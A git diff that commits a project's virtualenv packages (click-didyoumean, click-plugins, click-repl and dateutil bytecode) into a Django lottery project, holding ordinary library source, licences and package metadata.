a/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/WHEEL b/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/WHEEL new file mode 100644 index 00000000..d131b796 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_didyoumean-0.3.0.dist-info/WHEEL @@ -0,0 +1,4 @@ +Wheel-Version: 1.0 +Generator: poetry 1.0.6 +Root-Is-Purelib: true +Tag: py3-none-any diff --git a/django_lottopy/lib/python3.10/site-packages/click_didyoumean/__init__.py b/django_lottopy/lib/python3.10/site-packages/click_didyoumean/__init__.py new file mode 100644 index 00000000..15e01cbb --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_didyoumean/__init__.py @@ -0,0 +1,66 @@ +""" +Extension for ``click`` to provide a group +with a git-like *did-you-mean* feature. +""" + +import difflib +import typing + +import click + + +class DYMMixin: + """ + Mixin class for click MultiCommand inherited classes + to provide git-like *did-you-mean* functionality when + a certain command is not registered. + """ + + def __init__(self, *args: typing.Any, **kwargs: typing.Any) -> None: + self.max_suggestions = kwargs.pop("max_suggestions", 3) + self.cutoff = kwargs.pop("cutoff", 0.5) + super().__init__(*args, **kwargs) # type: ignore + + def resolve_command( + self, ctx: click.Context, args: typing.List[str] + ) -> typing.Tuple[ + typing.Optional[str], typing.Optional[click.Command], typing.List[str] + ]: + """ + Overrides clicks ``resolve_command`` method + and appends *Did you mean ...* suggestions + to the raised exception message. + """ + try: + return super(DYMMixin, self).resolve_command(ctx, args) # type: ignore + except click.exceptions.UsageError as error: + error_msg = str(error) + original_cmd_name = click.utils.make_str(args[0]) + matches = difflib.get_close_matches( + original_cmd_name, + self.list_commands(ctx), # type: ignore + self.max_suggestions, + self.cutoff, + ) + if matches: + fmt_matches = "\n ".join(matches) + error_msg += "\n\n" + error_msg += f"Did you mean one of these?\n {fmt_matches}" + + raise click.exceptions.UsageError(error_msg, error.ctx) + + +class DYMGroup(DYMMixin, click.Group): + """ + click Group to provide git-like + *did-you-mean* functionality when a certain + command is not found in the group. + """ + + +class DYMCommandCollection(DYMMixin, click.CommandCollection): + """ + click CommandCollection to provide git-like + *did-you-mean* functionality when a certain + command is not found in the group. + """ diff --git a/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/AUTHORS.txt b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/AUTHORS.txt new file mode 100644 index 00000000..17b68caa --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/AUTHORS.txt @@ -0,0 +1,5 @@ +Authors +======= + +Kevin Wurster +Sean Gillies diff --git a/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/INSTALLER b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/LICENSE.txt b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/LICENSE.txt new file mode 100644 index 00000000..8fbd3537 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/LICENSE.txt @@ -0,0 +1,29 @@ +New BSD License + +Copyright (c) 2015-2019, Kevin D. Wurster, Sean C. Gillies +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither click-plugins nor the names of its contributors may not be used to + endorse or promote products derived from this software without specific prior + written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. \ No newline at end of file diff --git a/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/METADATA b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/METADATA new file mode 100644 index 00000000..11df8ed8 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/METADATA @@ -0,0 +1,210 @@ +Metadata-Version: 2.1 +Name: click-plugins +Version: 1.1.1 +Summary: An extension module for click to enable registering CLI commands via setuptools entry-points. +Home-page: https://github.com/click-contrib/click-plugins +Author: Kevin Wurster, Sean Gillies +Author-email: wursterk@gmail.com, sean.gillies@gmail.com +License: New BSD +Keywords: click plugin setuptools entry-point +Platform: UNKNOWN +Classifier: Topic :: Utilities +Classifier: Intended Audience :: Developers +Classifier: Development Status :: 5 - Production/Stable +Classifier: License :: OSI Approved :: BSD License +Classifier: Programming Language :: Python +Classifier: Programming Language :: Python :: 3 +Requires-Dist: click (>=4.0) +Provides-Extra: dev +Requires-Dist: pytest (>=3.6) ; extra == 'dev' +Requires-Dist: pytest-cov ; extra == 'dev' +Requires-Dist: wheel ; extra == 'dev' +Requires-Dist: coveralls ; extra == 'dev' + +============= +click-plugins +============= + +.. image:: https://travis-ci.org/click-contrib/click-plugins.svg?branch=master + :target: https://travis-ci.org/click-contrib/click-plugins?branch=master + +.. image:: https://coveralls.io/repos/click-contrib/click-plugins/badge.svg?branch=master&service=github + :target: https://coveralls.io/github/click-contrib/click-plugins?branch=master + +An extension module for `click `_ to register +external CLI commands via setuptools entry-points. + + +Why? +---- + +Lets say you develop a commandline interface and someone requests a new feature +that is absolutely related to your project but would have negative consequences +like additional dependencies, major refactoring, or maybe its just too domain +specific to be supported directly. Rather than developing a separate standalone +utility you could offer up a `setuptools entry point `_ +that allows others to use your commandline utility as a home for their related +sub-commands. You get to choose where these sub-commands or sub-groups CAN be +registered but the plugin developer gets to choose they ARE registered. You +could have all plugins register alongside the core commands, in a special +sub-group, across multiple sub-groups, or some combination. + + +Enabling Plugins +---------------- + +For a more detailed example see the `examples `_ section. + +The only requirement is decorating ``click.group()`` with ``click_plugins.with_plugins()`` +which handles attaching external commands and groups. In this case the core CLI developer +registers CLI plugins from ``core_package.cli_plugins``. + +.. code-block:: python + + from pkg_resources import iter_entry_points + + import click + from click_plugins import with_plugins + + + @with_plugins(iter_entry_points('core_package.cli_plugins')) + @click.group() + def cli(): + """Commandline interface for yourpackage.""" + + @cli.command() + def subcommand(): + """Subcommand that does something.""" + + +Developing Plugins +------------------ + +Plugin developers need to register their sub-commands or sub-groups to an +entry-point in their ``setup.py`` that is loaded by the core package. + +.. code-block:: python + + from setuptools import setup + + setup( + name='yourscript', + version='0.1', + py_modules=['yourscript'], + install_requires=[ + 'click', + ], + entry_points=''' + [core_package.cli_plugins] + cool_subcommand=yourscript.cli:cool_subcommand + another_subcommand=yourscript.cli:another_subcommand + ''', + ) + + +Broken and Incompatible Plugins +------------------------------- + +Any sub-command or sub-group that cannot be loaded is caught and converted to +a ``click_plugins.core.BrokenCommand()`` rather than just crashing the entire +CLI. The short-help is converted to a warning message like: + +.. code-block:: console + + Warning: could not load plugin. See `` --help``. + +and if the sub-command or group is executed the entire traceback is printed. + + +Best Practices and Extra Credit +------------------------------- + +Opening a CLI to plugins encourages other developers to independently extend +functionality independently but there is no guarantee these new features will +be "on brand". Plugin developers are almost certainly already using features +in the core package the CLI belongs to so defining commonly used arguments and +options in one place lets plugin developers reuse these flags to produce a more +cohesive CLI. If the CLI is simple maybe just define them at the top of +``yourpackage/cli.py`` or for more complex packages something like +``yourpackage/cli/options.py``. These common options need to be easy to find +and be well documented so that plugin developers know what variable to give to +their sub-command's function and what object they can expect to receive. Don't +forget to document non-obvious callbacks. + +Keep in mind that plugin developers also have access to the parent group's +``ctx.obj``, which is very useful for passing things like verbosity levels or +config values around to sub-commands. + +Here's some code that sub-commands could re-use: + +.. code-block:: python + + from multiprocessing import cpu_count + + import click + + jobs_opt = click.option( + '-j', '--jobs', metavar='CORES', type=click.IntRange(min=1, max=cpu_count()), default=1, + show_default=True, help="Process data across N cores." + ) + +Plugin developers can access this with: + +.. code-block:: python + + import click + import parent_cli_package.cli.options + + + @click.command() + @parent_cli_package.cli.options.jobs_opt + def subcommand(jobs): + """I do something domain specific.""" + + +Installation +------------ + +With ``pip``: + +.. code-block:: console + + $ pip install click-plugins + +From source: + +.. code-block:: console + + $ git clone https://github.com/click-contrib/click-plugins.git + $ cd click-plugins + $ python setup.py install + + +Developing +---------- + +.. code-block:: console + + $ git clone https://github.com/click-contrib/click-plugins.git + $ cd click-plugins + $ pip install -e .\[dev\] + $ pytest tests --cov click_plugins --cov-report term-missing + + +Changelog +--------- + +See ``CHANGES.txt`` + + +Authors +------- + +See ``AUTHORS.txt`` + + +License +------- + +See ``LICENSE.txt`` + diff --git a/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/RECORD b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/RECORD new file mode 100644 index 00000000..87ceda34 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/RECORD @@ -0,0 +1,12 @@ +click_plugins-1.1.1.dist-info/AUTHORS.txt,sha256=FUhD9wZxX5--d9KS7hUB-wnHgyS67pdnWvADk8lrLeE,90 +click_plugins-1.1.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +click_plugins-1.1.1.dist-info/LICENSE.txt,sha256=ovxTmp55udvfNAMB8D-Wci6bCbFy-kiV9mnwwmQrj3o,1517 +click_plugins-1.1.1.dist-info/METADATA,sha256=LFOtPppAX0RN1Wwn7A2Pq46juwOppLlvUGR2VNRgAPk,6390 +click_plugins-1.1.1.dist-info/RECORD,, +click_plugins-1.1.1.dist-info/WHEEL,sha256=HX-v9-noUkyUoxyZ1PMSuS7auUxDAR4VBdoYLqD0xws,110 +click_plugins-1.1.1.dist-info/top_level.txt,sha256=oB_GDZcOeOKX1eKKCfqSMR4tfJS6iL3zJshaJJPSQUI,14 +click_plugins-1.1.1.dist-info/zip-safe,sha256=AbpHGcgLb-kRsJGnwFEktk7uzpZOCcBY74-YBdrKVGs,1 +click_plugins/__init__.py,sha256=lAwJ0n4PqZCv7hk5Fz6yNL7TRrXKuhynDBGiaNSUNvo,2247 +click_plugins/__pycache__/__init__.cpython-310.pyc,, +click_plugins/__pycache__/core.cpython-310.pyc,, +click_plugins/core.py,sha256=4hhmUpFi6MSYsvxogksNu5dlKEWNscbiE9ynUy5dPdE,2475 diff --git a/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/WHEEL b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/WHEEL new file mode 100644 index 00000000..c8240f03 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/WHEEL @@ -0,0 +1,6 @@ +Wheel-Version: 1.0 +Generator: bdist_wheel (0.33.1) +Root-Is-Purelib: true +Tag: py2-none-any +Tag: py3-none-any + diff --git a/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/top_level.txt b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/top_level.txt new file mode 100644 index 00000000..22e5b9b9 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/top_level.txt @@ -0,0 +1 @@ +click_plugins diff --git a/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/zip-safe b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/zip-safe new file mode 100644 index 00000000..8b137891 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_plugins-1.1.1.dist-info/zip-safe @@ -0,0 +1 @@ + diff --git a/django_lottopy/lib/python3.10/site-packages/click_plugins/__init__.py b/django_lottopy/lib/python3.10/site-packages/click_plugins/__init__.py new file mode 100644 index 00000000..6bdfe38e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_plugins/__init__.py @@ -0,0 +1,61 @@ +""" +An extension module for click to enable registering CLI commands via setuptools +entry-points. + + + from pkg_resources import iter_entry_points + + import click + from click_plugins import with_plugins + + + @with_plugins(iter_entry_points('entry_point.name')) + @click.group() + def cli(): + '''Commandline interface for something.''' + + @cli.command() + @click.argument('arg') + def subcommand(arg): + '''A subcommand for something else''' +""" + + +from click_plugins.core import with_plugins + + +__version__ = '1.1.1' +__author__ = 'Kevin Wurster, Sean Gillies' +__email__ = 'wursterk@gmail.com, sean.gillies@gmail.com' +__source__ = 'https://github.com/click-contrib/click-plugins' +__license__ = ''' +New BSD License + +Copyright (c) 2015-2019, Kevin D. Wurster, Sean C. Gillies +All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this + list of conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, + this list of conditions and the following disclaimer in the documentation + and/or other materials provided with the distribution. + +* Neither click-plugins nor the names of its contributors may not be used to + endorse or promote products derived from this software without specific prior + written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE +FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL +DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER +CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, +OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +''' diff --git a/django_lottopy/lib/python3.10/site-packages/click_plugins/core.py b/django_lottopy/lib/python3.10/site-packages/click_plugins/core.py new file mode 100644 index 00000000..0d7f5e97 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_plugins/core.py @@ -0,0 +1,92 @@ +""" +Core components for click_plugins +""" + + +import click + +import os +import sys +import traceback + + +def with_plugins(plugins): + + """ + A decorator to register external CLI commands to an instance of + `click.Group()`. + + Parameters + ---------- + plugins : iter + An iterable producing one `pkg_resources.EntryPoint()` per iteration. + attrs : **kwargs, optional + Additional keyword arguments for instantiating `click.Group()`. + + Returns + ------- + click.Group() + """ + + def decorator(group): + if not isinstance(group, click.Group): + raise TypeError("Plugins can only be attached to an instance of click.Group()") + + for entry_point in plugins or (): + try: + group.add_command(entry_point.load()) + except Exception: + # Catch this so a busted plugin doesn't take down the CLI. + # Handled by registering a dummy command that does nothing + # other than explain the error. + group.add_command(BrokenCommand(entry_point.name)) + + return group + + return decorator + + +class BrokenCommand(click.Command): + + """ + Rather than completely crash the CLI when a broken plugin is loaded, this + class provides a modified help message informing the user that the plugin is + broken and they should contact the owner. If the user executes the plugin + or specifies `--help` a traceback is reported showing the exception the + plugin loader encountered. + """ + + def __init__(self, name): + + """ + Define the special help messages after instantiating a `click.Command()`. + """ + + click.Command.__init__(self, name) + + util_name = os.path.basename(sys.argv and sys.argv[0] or __file__) + + if os.environ.get('CLICK_PLUGINS_HONESTLY'): # pragma no cover + icon = u'\U0001F4A9' + else: + icon = u'\u2020' + + self.help = ( + "\nWarning: entry point could not be loaded. Contact " + "its author for help.\n\n\b\n" + + traceback.format_exc()) + self.short_help = ( + icon + " Warning: could not load plugin. See `%s %s --help`." + % (util_name, self.name)) + + def invoke(self, ctx): + + """ + Print the traceback instead of doing nothing. + """ + + click.echo(self.help, color=ctx.color) + ctx.exit(1) + + def parse_args(self, ctx, args): + return args diff --git a/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/INSTALLER b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/INSTALLER new file mode 100644 index 00000000..a1b589e3 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/INSTALLER @@ -0,0 +1 @@ +pip diff --git a/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/LICENSE b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/LICENSE new file mode 100644 index 00000000..ab35c0ef --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/LICENSE @@ -0,0 +1,19 @@ +Copyright (c) 2014-2015 Markus Unterwaditzer & contributors + +Permission is hereby granted, free of charge, to any person obtaining a copy of +this software and associated documentation files (the "Software"), to deal in +the Software without restriction, including without limitation the rights to +use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies +of the Software, and to permit persons to whom the Software is furnished to do +so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +SOFTWARE. diff --git a/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/METADATA b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/METADATA new file mode 100644 index 00000000..e51ae95e --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/METADATA @@ -0,0 +1,16 @@ +Metadata-Version: 2.1 +Name: click-repl +Version: 0.2.0 +Summary: REPL plugin for Click +Home-page: https://github.com/untitaker/click-repl +Author: Markus Unterwaditzer +Author-email: markus@unterwaditzer.net +License: MIT +Platform: UNKNOWN +Requires-Dist: click +Requires-Dist: prompt-toolkit +Requires-Dist: six + +UNKNOWN + + diff --git a/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/RECORD b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/RECORD new file mode 100644 index 00000000..1867aeaa --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/RECORD @@ -0,0 +1,10 @@ +click_repl-0.2.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4 +click_repl-0.2.0.dist-info/LICENSE,sha256=zVXsz-TJDlfzckRrUCkq1VCkv8w1NK-JQvuMpcGdQj4,1084 +click_repl-0.2.0.dist-info/METADATA,sha256=7AU-rLLQGcd6A-67u5kbj081187JwdEv99Zy0KUoc-Q,316 +click_repl-0.2.0.dist-info/RECORD,, +click_repl-0.2.0.dist-info/WHEEL,sha256=OqRkF0eY5GHssMorFjlbTIq072vpHpF60fIQA6lS9xA,92 +click_repl-0.2.0.dist-info/top_level.txt,sha256=F6rJUNCBcNeCP3tglg54K9NGWoA0azS09pH1B3V5LbQ,11 +click_repl/__init__.py,sha256=MMSweQpN_fwvr4DXeK9wKk6AuETIxoiVHAANGT3OkhA,8906 +click_repl/__pycache__/__init__.cpython-310.pyc,, +click_repl/__pycache__/exceptions.cpython-310.pyc,, +click_repl/exceptions.py,sha256=syJEYjD1bEIxG2bh43cMFNDYUGdJsTHwkhtnhEOHWY8,114 diff --git a/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/WHEEL b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/WHEEL new file mode 100644 index 00000000..385faab0 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/WHEEL @@ -0,0 +1,5 @@ +Wheel-Version: 1.0 +Generator: bdist_wheel (0.36.2) +Root-Is-Purelib: true +Tag: py3-none-any + diff --git a/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/top_level.txt b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/top_level.txt new file mode 100644 index 00000000..4cf6be7d --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_repl-0.2.0.dist-info/top_level.txt @@ -0,0 +1 @@ +click_repl diff --git a/django_lottopy/lib/python3.10/site-packages/click_repl/__init__.py b/django_lottopy/lib/python3.10/site-packages/click_repl/__init__.py new file mode 100644 index 00000000..c1b950e4 --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_repl/__init__.py @@ -0,0 +1,303 @@ +from collections import defaultdict +from prompt_toolkit.completion import Completer, Completion +from prompt_toolkit.history import InMemoryHistory +from prompt_toolkit.shortcuts import prompt +import click +import click.parser +import os +import shlex +import sys +import six +from .exceptions import InternalCommandException, ExitReplException # noqa + +# Handle backwards compatibility between Click 7.0 and 8.0 +try: + import click.shell_completion + HAS_C8 = True +except ImportError: + import click._bashcomplete + HAS_C8 = False + +# Handle click.exceptions.Exit introduced in Click 7.0 +try: + from click.exceptions import Exit as ClickExit +except ImportError: + class ClickExit(RuntimeError): + pass + +PY2 = sys.version_info[0] == 2 + +if PY2: + text_type = unicode # noqa +else: + text_type = str # noqa + + +__version__ = "0.2.0" + +_internal_commands = dict() + + +def _register_internal_command(names, target, description=None): + if not hasattr(target, "__call__"): + raise ValueError("Internal command must be a callable") + + if isinstance(names, six.string_types): + names = [names] + elif not isinstance(names, (list, tuple)): + raise ValueError('"names" must be a string or a list / tuple') + + for name in names: + _internal_commands[name] = (target, description) + + +def _get_registered_target(name, default=None): + target_info = _internal_commands.get(name) + if target_info: + return target_info[0] + return default + + +def _exit_internal(): + raise ExitReplException() + + +def _help_internal(): + formatter = click.HelpFormatter() + formatter.write_heading("REPL help") + formatter.indent() + with formatter.section("External Commands"): + formatter.write_text('prefix external commands with "!"') + with formatter.section("Internal Commands"): + formatter.write_text('prefix internal commands with ":"') + info_table = defaultdict(list) + for mnemonic, target_info in six.iteritems(_internal_commands): + info_table[target_info[1]].append(mnemonic) + formatter.write_dl( + ( + ", ".join((":{0}".format(mnemonic) for mnemonic in sorted(mnemonics))), + description, + ) + for description, mnemonics in six.iteritems(info_table) + ) + return formatter.getvalue() + + +_register_internal_command(["q", "quit", "exit"], _exit_internal, "exits the repl") +_register_internal_command( + ["?", "h", "help"], _help_internal, "displays general help information" +) + + +class ClickCompleter(Completer): + def __init__(self, cli): + self.cli = cli + + def get_completions(self, document, complete_event=None): + # Code analogous to click._bashcomplete.do_complete + + try: + args = shlex.split(document.text_before_cursor) + except ValueError: + # Invalid command, perhaps caused by missing closing quotation. + return + + cursor_within_command = ( + document.text_before_cursor.rstrip() == document.text_before_cursor + ) + + if args and cursor_within_command: + # We've entered some text and no space, give completions for the + # current word. + incomplete = args.pop() + else: + # We've not entered anything, either at all or for the current + # command, so give all relevant completions for this context. + incomplete = "" + # Resolve context based on click version + if HAS_C8: + ctx = click.shell_completion._resolve_context(self.cli, {}, "", args) + else: + ctx = click._bashcomplete.resolve_ctx(self.cli, "", args) + + if ctx is None: + return + + choices = [] + for param in ctx.command.params: + if isinstance(param, click.Option): + for options in (param.opts, param.secondary_opts): + for o in options: + choices.append( + Completion( + text_type(o), -len(incomplete), display_meta=param.help + ) + ) + elif isinstance(param, click.Argument): + if isinstance(param.type, click.Choice): + for choice in param.type.choices: + choices.append(Completion(text_type(choice), -len(incomplete))) + + if isinstance(ctx.command, click.MultiCommand): + for name in ctx.command.list_commands(ctx): + command = ctx.command.get_command(ctx, name) + choices.append( + Completion( + text_type(name), + -len(incomplete), + display_meta=getattr(command, "short_help"), + ) + ) + + for item in choices: + if item.text.startswith(incomplete): + yield item + + +def bootstrap_prompt(prompt_kwargs, group): + """ + Bootstrap prompt_toolkit kwargs or use user defined values. + + :param prompt_kwargs: The user specified prompt kwargs. + """ + prompt_kwargs = prompt_kwargs or {} + + defaults = { + "history": InMemoryHistory(), + "completer": ClickCompleter(group), + "message": u"> ", + } + + for key in defaults: + default_value = defaults[key] + if key not in prompt_kwargs: + prompt_kwargs[key] = default_value + + return prompt_kwargs + + +def repl( # noqa: C901 + old_ctx, + prompt_kwargs=None, + allow_system_commands=True, + allow_internal_commands=True, +): + """ + Start an interactive shell. All subcommands are available in it. + + :param old_ctx: The current Click context. + :param prompt_kwargs: Parameters passed to + :py:func:`prompt_toolkit.shortcuts.prompt`. + + If stdin is not a TTY, no prompt will be printed, but only commands read + from stdin. + + """ + # parent should be available, but we're not going to bother if not + group_ctx = old_ctx.parent or old_ctx + group = group_ctx.command + isatty = sys.stdin.isatty() + + # Delete the REPL command from those available, as we don't want to allow + # nesting REPLs (note: pass `None` to `pop` as we don't want to error if + # REPL command already not present for some reason). + repl_command_name = old_ctx.command.name + if isinstance(group_ctx.command, click.CommandCollection): + available_commands = { + cmd_name: cmd_obj + for source in group_ctx.command.sources + for cmd_name, cmd_obj in source.commands.items() + } + else: + available_commands = group_ctx.command.commands + available_commands.pop(repl_command_name, None) + + prompt_kwargs = bootstrap_prompt(prompt_kwargs, group) + + if isatty: + + def get_command(): + return prompt(**prompt_kwargs) + + else: + get_command = sys.stdin.readline + + while True: + try: + command = get_command() + except KeyboardInterrupt: + continue + except EOFError: + break + + if not command: + if isatty: + continue + else: + break + + if allow_system_commands and dispatch_repl_commands(command): + continue + + if allow_internal_commands: + try: + result = handle_internal_commands(command) + if isinstance(result, six.string_types): + click.echo(result) + continue + except ExitReplException: + break + + try: + args = shlex.split(command) + except ValueError as e: + click.echo("{}: {}".format(type(e).__name__, e)) + continue + + try: + with group.make_context(None, args, parent=group_ctx) as ctx: + group.invoke(ctx) + ctx.exit() + except click.ClickException as e: + e.show() + except ClickExit: + pass + except SystemExit: + pass + except ExitReplException: + break + + +def register_repl(group, name="repl"): + """Register :func:`repl()` as sub-command *name* of *group*.""" + group.command(name=name)(click.pass_context(repl)) + + +def exit(): + """Exit the repl""" + _exit_internal() + + +def dispatch_repl_commands(command): + """Execute system commands entered in the repl. + + System commands are all commands starting with "!". + + """ + if command.startswith("!"): + os.system(command[1:]) + return True + + return False + + +def handle_internal_commands(command): + """Run repl-internal commands. + + Repl-internal commands are all commands starting with ":". + + """ + if command.startswith(":"): + target = _get_registered_target(command[1:], default=None) + if target: + return target() diff --git a/django_lottopy/lib/python3.10/site-packages/click_repl/exceptions.py b/django_lottopy/lib/python3.10/site-packages/click_repl/exceptions.py new file mode 100644 index 00000000..b63330ef --- /dev/null +++ b/django_lottopy/lib/python3.10/site-packages/click_repl/exceptions.py @@ -0,0 +1,6 @@ +class InternalCommandException(Exception): + pass + + +class ExitReplException(InternalCommandException): + pass diff --git a/django_lottopy/lib/python3.10/site-packages/dateutil/__pycache__/__init__.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/dateutil/__pycache__/__init__.cpython-310.pyc index e105a72b6d4fe9d96003a24a7d49371ca2f057a9..ba6f50e085ca7b518272a8b838e861e9979cd57e 100644 GIT binary patch delta 35 ocmeBV?quf4=jG*M0D@le8A%g)mN4F$xY3b~2Pja)Gx5hn0F%%Op8x;= delta 35 ocmeBV?quf4=jG*M0D|n5dlDz|EMbhAxY3b~8z@l3J@Lmx0GN&mumAu6 diff --git a/django_lottopy/lib/python3.10/site-packages/dateutil/__pycache__/_common.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/dateutil/__pycache__/_common.cpython-310.pyc index 096002cd8c74c54cbfa14c041ef29e231ab9356a..e2d1f3744d2032492b356884a4b626666eab63a6 100644 GIT binary patch delta 57 zcmZ3y& delta 57 zcmZ37~oP!*yji!6q^?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;wn{yrVw6e|*1Y L8>osNxat1@$H9xp diff --git a/django_lottopy/lib/python3.10/site-packages/dateutil/parser/__pycache__/isoparser.cpython-310.pyc b/django_lottopy/lib/python3.10/site-packages/dateutil/parser/__pycache__/isoparser.cpython-310.pyc index b1f907777515d23ceef24250512b7cad403a7d57..33b87b1409c904e5fa4b65805560aa1388f9c827 100644 GIT binary patch delta 96 zcmX>faXx}4pO=@50SJ1faXx}4pO=@50SK~J?n&IpGh3c9YV!*DH7rbpTQ`TPykubvpX{LN${04eO>-Gz 